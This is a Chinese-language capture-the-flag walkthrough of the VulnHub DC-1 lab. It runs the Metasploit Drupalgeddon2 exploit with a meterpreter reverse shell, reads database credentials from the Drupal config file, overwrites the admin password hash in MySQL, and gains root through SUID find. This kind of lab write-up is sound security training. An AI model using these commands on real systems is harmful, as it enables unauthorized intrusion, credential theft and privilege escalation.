DC-1靶场详解

DC-1的靶机下载地址为:https://www.vulnhub.com/entry/dc-1,292/

环境配置:导入虚拟机后网络适配器改成NAT模式就行了

kali和DC-1都为NAT就行了

一 信息收集

探测目标IP地址

探测主机的工具有很多,常见的有arp-scan、nmap

探测到主机IP是192.168.236.141

网页信息收集

用kali自带的工具whatweb扫看看站点是什么

whatweb -v 192.168.236.141

扫描获得了许多信息

CMS是Drupal        Apache 2.2.22        PHP 5.4.45

漏洞利用

Drupal的话msf有一些现成的模块我们可以尝试试试。

这里我们利用漏洞等级较高的,且时间最新的18年那个漏洞

漏洞利用

利用18年那个漏洞

use exploit/unix/webapp/drupal_drupalgeddon2

查看payload有什么

msf6 exploit(unix/webapp/drupal_drupalgeddon2) > show payloads 

看到了熟悉的php/meterpreter/reverse_tcp

使用payload

set payload payload/php/meterpreter/reverse_tcp

查看需要配置的参数,yes的为必填项,no的可以不填

设置一下RHOSTS,也就是靶机ip

启动,run和exploit都可以

看到session的建立

看看DC-1的版本信息

sysinfo

获得shell

直接使用交互式shell

shell

python -c "import pty;pty.spawn('/bin/bash')"

flag1

ls看看有没有啥文件,发现一个flag1.txt

给了提示:Every good CMS needs a config file - and so do you.

​ 每个好的CMS都需要一个配置文件——你也是。

flag2

根据提示尝试找一下他的配置文件

find . -name “set*”

发现有,查看一下内容

发现了许多信息还有flag2,flag2提示

*暴力和字典攻击不是最常见的

*只有获得访问权限的方法(您将需要访问权限)。

*你能用这些证书做什么?

文件里面有数据库的账号密码记录下来

‘database’ => ‘drupaldb’,
‘username’ => ‘dbuser’,
‘password’ => ‘R0ck3t’,

flag3

尝试一下数据库登录

mysql -udbuser -pR0ck3t

查看库

show databases;

进入drupaldb库中

use drupaldb

查看库中的表

show tables;

可以看到有一个users的表

查看表中内容

select * from users;

这样有点难看,换一种查看

select * from users\G;

/G 的作用是将查到的结构旋转90度变成纵向:

可以看到admin的密码给加密了,应该是某种hash,爆破也没什么反应,找找其他的方法。

找找是否有加密的文件

find . -name “*hash*

 

找到可运行的文件((./scripts/password-hash.sh))运行下查看:

意思应该是说在后面加密码就会返回加密后的结果

我们简单测试下,设置密码123456

./scripts/password-hash.sh 123456

返回了hash值保存下来,既然之前admin密码不知道,尝试着是否可以将原来的密码替换

重新回到数据库drupaldb内。

更新密码

update users set pass = "$S$DVzqQCwYoMGkM4bLJxwsPrMM9H9xJgrGx4HyayDPwv3JOF7RObrc" where name = 'admin';

完成后,我们访问网站192.168.236.141

使用admin 123456 登入成功

找到了flag3

获得提示:Special PERMS will help FIND the passwd - but you’ll need to -exec that command to work out how to get what’s in the shadow.

flag4

根据提示passwd我们可以想到/etc/passwd和/etc/shadow

cat /etc/passwd

tag /etc/passwd

发现里面有flag4,给了个路径/home/flag4,切换到flag4里面看看有什么文件

发现权限不够。需要提权

首先试试SUID提权

查看默认以root权限执行的程序

find / -perm -u=s -type f 2>/dev/null

find 指令
/ 根目录(查找位置)
-perm 权限
-u 用户(s=特权)
-type 类型
f 文件
2>/dev/nul 过滤错误信息(不显示错误信息)

看到find就在其中,直接使用find提权

find / -exec "/bin/bash" -p \;

再次查看flag4.txt

并且提示:

Can you use this same method to find or access the flag in root?

Probably. But perhaps it’s not that easy. Or maybe it is?

flag5

我们进入/root,ls查看目录下的文件

获得最终的flag

难点

msf使用对应的模块

mysql的修改数据

SUID提权

  • 45
    点赞
  • 23
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值